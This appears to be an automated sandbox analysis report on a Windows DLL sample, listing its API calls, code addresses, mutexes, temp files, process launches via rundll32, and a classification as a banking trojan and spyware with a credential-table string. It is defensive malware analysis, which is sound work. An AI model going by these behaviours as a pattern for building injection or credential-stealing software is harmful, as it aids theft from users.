Source: C:\Windows\explorer.exe	Code function: 8_2_083882B4 NtFreeVirtualMemory,	8_2_083882B4
Source: C:\Windows\explorer.exe	Code function: 8_2_0838B388 NtAllocateVirtualMemory,	8_2_0838B388
Source: C:\Windows\explorer.exe	Code function: 8_2_08388240 NtClose,	8_2_08388240
Source: C:\Windows\explorer.exe	Code function: 8_2_083880B8 RtlInitUnicodeString,NtCreateFile,	8_2_083880B8
Source: C:\Windows\explorer.exe	Code function: 8_2_0838C704 NtDelayExecution,	8_2_0838C704
Source: C:\Windows\explorer.exe	Code function: 8_2_083901A0 NtFreeVirtualMemory,	8_2_083901A0
Source: C:\Windows\explorer.exe	Code function: 8_2_083881C8 NtWriteFile,	8_2_083881C8
Source: C:\Windows\explorer.exe	Code function: 8_2_088582B4 NtFreeVirtualMemory,	8_2_088582B4
Source: C:\Windows\explorer.exe	Code function: 8_2_0885B388 NtAllocateVirtualMemory,	8_2_0885B388
Source: C:\Windows\explorer.exe	Code function: 8_2_088580B8 RtlInitUnicodeString,NtCreateFile,	8_2_088580B8
Source: C:\Windows\explorer.exe	Code function: 8_2_08858240 NtClose,	8_2_08858240
Source: C:\Windows\explorer.exe	Code function: 8_2_088601A0 NtFreeVirtualMemory,	8_2_088601A0
Source: C:\Windows\explorer.exe	Code function: 8_2_088581C8 NtWriteFile,	8_2_088581C8
Source: C:\Windows\explorer.exe	Code function: 8_2_0885C704 NtDelayExecution,	8_2_0885C704
Source: C:\Windows\explorer.exe	Code function: 8_2_0E45241C NtAllocateVirtualMemory,	8_2_0E45241C
Source: C:\Windows\explorer.exe	Code function: 8_2_0E45248C NtFreeVirtualMemory,	8_2_0E45248C

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_00007FF8A8D56B7C: CreateFileW,DeviceIoControl,CloseHandle,

3_2_00007FF8A8D56B7C

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_00007FF8A8CFDA48 CreateEnvironmentBlock,GetLastError,_invalid_parameter_noinfo,_invalid_parameter_noinfo,DestroyEnvironmentBlock,GetSystemDirectoryW,PathAddBackslashW,swprintf,CreateProcessAsUserW,GetLastError,CloseHandle,CloseHandle,

3_2_00007FF8A8CFDA48

Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D069A0	3_2_00007FF8A8D069A0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D2E90C	3_2_00007FF8A8D2E90C
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8DD9AF0	3_2_00007FF8A8DD9AF0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8CFFA78	3_2_00007FF8A8CFFA78
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8DE4A20	3_2_00007FF8A8DE4A20
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D0BA28	3_2_00007FF8A8D0BA28
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D179F8	3_2_00007FF8A8D179F8
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8DCBB1C	3_2_00007FF8A8DCBB1C
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8CFDCBC	3_2_00007FF8A8CFDCBC
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8CFBCB8	3_2_00007FF8A8CFBCB8
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D09C5C	3_2_00007FF8A8D09C5C
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D7AC00	3_2_00007FF8A8D7AC00
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8CFEDE0	3_2_00007FF8A8CFEDE0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D09D8C	3_2_00007FF8A8D09D8C
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D1BEDC	3_2_00007FF8A8D1BEDC
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D7CEB0	3_2_00007FF8A8D7CEB0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D56E84	3_2_00007FF8A8D56E84
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D41E90	3_2_00007FF8A8D41E90
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D72E90	3_2_00007FF8A8D72E90
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D19E64	3_2_00007FF8A8D19E64
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8CFAF20	3_2_00007FF8A8CFAF20
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D070EC	3_2_00007FF8A8D070EC
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D061E0	3_2_00007FF8A8D061E0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8DD01A4	3_2_00007FF8A8DD01A4
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D2C180	3_2_00007FF8A8D2C180
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D250F8	3_2_00007FF8A8D250F8
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D322D4	3_2_00007FF8A8D322D4
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D72200	3_2_00007FF8A8D72200
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D7C3D0	3_2_00007FF8A8D7C3D0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D1C3A8	3_2_00007FF8A8D1C3A8
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D2530C	3_2_00007FF8A8D2530C
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D05320	3_2_00007FF8A8D05320
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8DB9470	3_2_00007FF8A8DB9470
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D0B560	3_2_00007FF8A8D0B560
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8DD8554	3_2_00007FF8A8DD8554
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D1D698	3_2_00007FF8A8D1D698
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D746A0	3_2_00007FF8A8D746A0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D07680	3_2_00007FF8A8D07680
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8DCD670	3_2_00007FF8A8DCD670
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8DDC638	3_2_00007FF8A8DDC638
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D4D604	3_2_00007FF8A8D4D604
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D737C0	3_2_00007FF8A8D737C0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8D75780	3_2_00007FF8A8D75780
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8CFC878	3_2_00007FF8A8CFC878
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8CFA83C	3_2_00007FF8A8CFA83C
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_00007FF8A8DE5834	3_2_00007FF8A8DE5834
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC8CBE0	3_2_000001CEAFC8CBE0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC913A3	3_2_000001CEAFC913A3
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC92BB0	3_2_000001CEAFC92BB0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC9FBC0	3_2_000001CEAFC9FBC0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFCA2F60	3_2_000001CEAFCA2F60
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC7A730	3_2_000001CEAFC7A730
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFCA1F40	3_2_000001CEAFCA1F40
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC8BED0	3_2_000001CEAFC8BED0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC966E0	3_2_000001CEAFC966E0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC816A0	3_2_000001CEAFC816A0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC842A0	3_2_000001CEAFC842A0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC982A0	3_2_000001CEAFC982A0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC766C0	3_2_000001CEAFC766C0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFCA0210	3_2_000001CEAFCA0210
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC97220	3_2_000001CEAFC97220
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC799D0	3_2_000001CEAFC799D0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC9B5E0	3_2_000001CEAFC9B5E0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC955E0	3_2_000001CEAFC955E0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC84DB0	3_2_000001CEAFC84DB0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC855C0	3_2_000001CEAFC855C0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC94550	3_2_000001CEAFC94550
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC75D60	3_2_000001CEAFC75D60
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC89120	3_2_000001CEAFC89120
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC8B4E0	3_2_000001CEAFC8B4E0
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC79500	3_2_000001CEAFC79500
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFC8A100	3_2_000001CEAFC8A100
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFCA1490	3_2_000001CEAFCA1490
Source: C:\Windows\System32\rundll32.exe	Code function: 3_2_000001CEAFCA2812	3_2_000001CEAFCA2812
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619639120	4_2_0000027619639120
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619629500	4_2_0000027619629500
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000002761963A100	4_2_000002761963A100
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000002761963B4E0	4_2_000002761963B4E0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619634DB0	4_2_0000027619634DB0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619625D60	4_2_0000027619625D60
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619644550	4_2_0000027619644550
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619652812	4_2_0000027619652812
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000002761963CBE0	4_2_000002761963CBE0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000002761964FBC0	4_2_000002761964FBC0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619651490	4_2_0000027619651490
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000002761962A730	4_2_000002761962A730
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000276196466E0	4_2_00000276196466E0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000276196266C0	4_2_00000276196266C0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000002761963BED0	4_2_000002761963BED0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000276196413A3	4_2_00000276196413A3
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619642BB0	4_2_0000027619642BB0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619652F60	4_2_0000027619652F60
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619651F40	4_2_0000027619651F40
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619647220	4_2_0000027619647220
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000027619650210	4_2_0000027619650210
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000276196455E0	4_2_00000276196455E0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000002761964B5E0	4_2_000002761964B5E0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000276196355C0	4_2_00000276196355C0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000276196299D0	4_2_00000276196299D0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000276196316A0	4_2_00000276196316A0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000276196342A0	4_2_00000276196342A0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000276196482A0	4_2_00000276196482A0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBB2F60	6_2_000002339FBB2F60
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBAFBC0	6_2_000002339FBAFBC0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBA2BB0	6_2_000002339FBA2BB0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBA13A3	6_2_000002339FBA13A3
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBA66E0	6_2_000002339FBA66E0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBB1F40	6_2_000002339FBB1F40
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB8A730	6_2_000002339FB8A730
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB9BED0	6_2_000002339FB9BED0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB866C0	6_2_000002339FB866C0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB916A0	6_2_000002339FB916A0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB942A0	6_2_000002339FB942A0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBA82A0	6_2_000002339FBA82A0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBB0210	6_2_000002339FBB0210
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBAB5E0	6_2_000002339FBAB5E0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBA55E0	6_2_000002339FBA55E0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBA7220	6_2_000002339FBA7220
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB85D60	6_2_000002339FB85D60
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB899D0	6_2_000002339FB899D0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB955C0	6_2_000002339FB955C0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB94DB0	6_2_000002339FB94DB0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB9A100	6_2_000002339FB9A100
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB89500	6_2_000002339FB89500
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB9B4E0	6_2_000002339FB9B4E0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBA4550	6_2_000002339FBA4550
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB99120	6_2_000002339FB99120
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBB1490	6_2_000002339FBB1490
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FBB2812	6_2_000002339FBB2812
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000002339FB9CBE0	6_2_000002339FB9CBE0
Source: C:\Windows\explorer.exe	Code function: 8_2_03032164	8_2_03032164
Source: C:\Windows\explorer.exe	Code function: 8_2_03031A7C	8_2_03031A7C
Source: C:\Windows\explorer.exe	Code function: 8_2_03031A8C	8_2_03031A8C
Source: C:\Windows\explorer.exe	Code function: 8_2_08381A7C	8_2_08381A7C
Source: C:\Windows\explorer.exe	Code function: 8_2_08381A8C	8_2_08381A8C
Source: C:\Windows\explorer.exe	Code function: 8_2_08382164	8_2_08382164
Source: C:\Windows\explorer.exe	Code function: 8_2_08851A8C	8_2_08851A8C
Source: C:\Windows\explorer.exe	Code function: 8_2_08851A7C	8_2_08851A7C
Source: C:\Windows\explorer.exe	Code function: 8_2_08852164	8_2_08852164
Source: C:\Windows\explorer.exe	Code function: 8_2_0E454B50	8_2_0E454B50
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4E9708	8_2_0E4E9708
Source: C:\Windows\explorer.exe	Code function: 8_2_0E46FE38	8_2_0E46FE38
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4B1ECC	8_2_0E4B1ECC
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4E0EC0	8_2_0E4E0EC0
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4A7EE8	8_2_0E4A7EE8
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4EAE84	8_2_0E4EAE84
Source: C:\Windows\explorer.exe	Code function: 8_2_0E45BEB8	8_2_0E45BEB8
Source: C:\Windows\explorer.exe	Code function: 8_2_0E499F68	8_2_0E499F68
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4CAF20	8_2_0E4CAF20
Source: C:\Windows\explorer.exe	Code function: 8_2_0E457FD0	8_2_0E457FD0
Source: C:\Windows\explorer.exe	Code function: 8_2_0E47FC72	8_2_0E47FC72
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4B7C14	8_2_0E4B7C14
Source: C:\Windows\explorer.exe	Code function: 8_2_0E459CBC	8_2_0E459CBC
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4C5D68	8_2_0E4C5D68
Source: C:\Windows\explorer.exe	Code function: 8_2_0E480D18	8_2_0E480D18
Source: C:\Windows\explorer.exe	Code function: 8_2_0E48EDE0	8_2_0E48EDE0
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4A8DF8	8_2_0E4A8DF8
Source: C:\Windows\explorer.exe	Code function: 8_2_0E479D94	8_2_0E479D94
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4E9D94	8_2_0E4E9D94
Source: C:\Windows\explorer.exe	Code function: 8_2_0E480A8A	8_2_0E480A8A
Source: C:\Windows\explorer.exe	Code function: 8_2_0E49EA84	8_2_0E49EA84
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4C0B54	8_2_0E4C0B54
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4D2B38	8_2_0E4D2B38
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4DDB34	8_2_0E4DDB34
Source: C:\Windows\explorer.exe	Code function: 8_2_0E49BB94	8_2_0E49BB94
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4EEBB8	8_2_0E4EEBB8
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4B7874	8_2_0E4B7874
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4A481C	8_2_0E4A481C
Source: C:\Windows\explorer.exe	Code function: 8_2_0E488824	8_2_0E488824
Source: C:\Windows\explorer.exe	Code function: 8_2_0E48D834	8_2_0E48D834
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4DD8B8	8_2_0E4DD8B8
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4C98B0	8_2_0E4C98B0
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4E4940	8_2_0E4E4940
Source: C:\Windows\explorer.exe	Code function: 8_2_0E45D9E4	8_2_0E45D9E4
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4C8980	8_2_0E4C8980
Source: C:\Windows\explorer.exe	Code function: 8_2_0E479650	8_2_0E479650
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4DD63C	8_2_0E4DD63C
Source: C:\Windows\explorer.exe	Code function: 8_2_0E475768	8_2_0E475768
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4C672C	8_2_0E4C672C
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4677E0	8_2_0E4677E0
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4B8788	8_2_0E4B8788
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4A7448	8_2_0E4A7448
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4AE45C	8_2_0E4AE45C
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4C2430	8_2_0E4C2430
Source: C:\Windows\explorer.exe	Code function: 8_2_0E49F4C4	8_2_0E49F4C4
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4B84D8	8_2_0E4B84D8
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4D94F0	8_2_0E4D94F0
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4B3498	8_2_0E4B3498
Source: C:\Windows\explorer.exe	Code function: 8_2_0E470540	8_2_0E470540
Source: C:\Windows\explorer.exe	Code function: 8_2_0E458568	8_2_0E458568
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4B4564	8_2_0E4B4564
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4C5534	8_2_0E4C5534
Source: C:\Windows\explorer.exe	Code function: 8_2_0E45453C	8_2_0E45453C
Source: C:\Windows\explorer.exe	Code function: 8_2_0E49B5D0	8_2_0E49B5D0
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4B05FC	8_2_0E4B05FC
Source: C:\Windows\explorer.exe	Code function: 8_2_0E47F5FB	8_2_0E47F5FB
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4805A0	8_2_0E4805A0
Source: C:\Windows\explorer.exe	Code function: 8_2_0E456358	8_2_0E456358
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4DB370	8_2_0E4DB370
Source: C:\Windows\explorer.exe	Code function: 8_2_0E45E31C	8_2_0E45E31C
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4983EC	8_2_0E4983EC
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4C73A0	8_2_0E4C73A0
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4BA048	8_2_0E4BA048
Source: C:\Windows\explorer.exe	Code function: 8_2_0E48E074	8_2_0E48E074
Source: C:\Windows\explorer.exe	Code function: 8_2_0E456078	8_2_0E456078
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4AF018	8_2_0E4AF018
Source: C:\Windows\explorer.exe	Code function: 8_2_0E476038	8_2_0E476038
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4970C0	8_2_0E4970C0
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4C0154	8_2_0E4C0154
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4B0114	8_2_0E4B0114
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4C4134	8_2_0E4C4134
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4B11CC	8_2_0E4B11CC
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4851C0	8_2_0E4851C0
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4801FB	8_2_0E4801FB
Source: C:\Windows\explorer.exe	Code function: 8_2_0E4A318C	8_2_0E4A318C
Source: C:\Windows\explorer.exe	Code function: 8_2_0E46D19C	8_2_0E46D19C

Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FF8A8DC9868 appears 296 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FF8A8D0F210 appears 62 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FF8A8DC9670 appears 61 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FF8A8D0C6C0 appears 198 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FF8A8D0ECA0 appears 394 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 00007FF8A8CFE038 appears 69 times
Source: C:\Windows\explorer.exe	Code function: String function: 0E477D54 appears 31 times
Source: C:\Windows\explorer.exe	Code function: String function: 0E45E160 appears 147 times
Source: C:\Windows\explorer.exe	Code function: String function: 0E45D5A8 appears 35 times
Source: C:\Windows\explorer.exe	Code function: String function: 0E45D6E8 appears 52 times

Source: wait.dll.dll

Binary or memory string: OriginalFilenamenvsvc32.exez- vs wait.dll.dll

Source: classification engine

Classification label: mal100.spre.bank.troj.spyw.evad.winDLL@70/7@7/4

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_00007FF8A8D7CB80 LoadLibraryW,GetLastError,swprintf,FormatMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,LocalFree,FreeLibrary,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

3_2_00007FF8A8D7CB80

Source: C:\Windows\System32\rundll32.exe

Code function: 3_3_00007DF4A9FC0000 CreateToolhelp32Snapshot,Process32First,CloseHandle,Process32Next,

3_3_00007DF4A9FC0000

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_00007FF8A8D2C180 CoCreateInstance,StringFromGUID2,RegQueryInfoKeyW,RegCloseKey,RegQueryInfoKeyW,RegCloseKey,RegCloseKey,RegCloseKey,

3_2_00007FF8A8D2C180

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_00007FF8A8CFEA34 LoadLibraryExW,LoadLibraryExW,FindResourceW,LoadResource,SizeofResource,MultiByteToWideChar,FreeLibrary,

3_2_00007FF8A8CFEA34

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\stkm[1].bin

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4124:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3744:120:WilError_03
Source: C:\Windows\System32\rundll32.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5412:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1776:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3948:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5252:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2568:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4276:120:WilError_03

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\Iyufla1.tmp

Jump to behavior

Source: wait.dll.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\wait.dll.dll,Jump

Source: Iyufla1.tmp.8.dr, Alakow3.tmp.8.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: unknown	Process created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\wait.dll.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\wait.dll.dll",#1
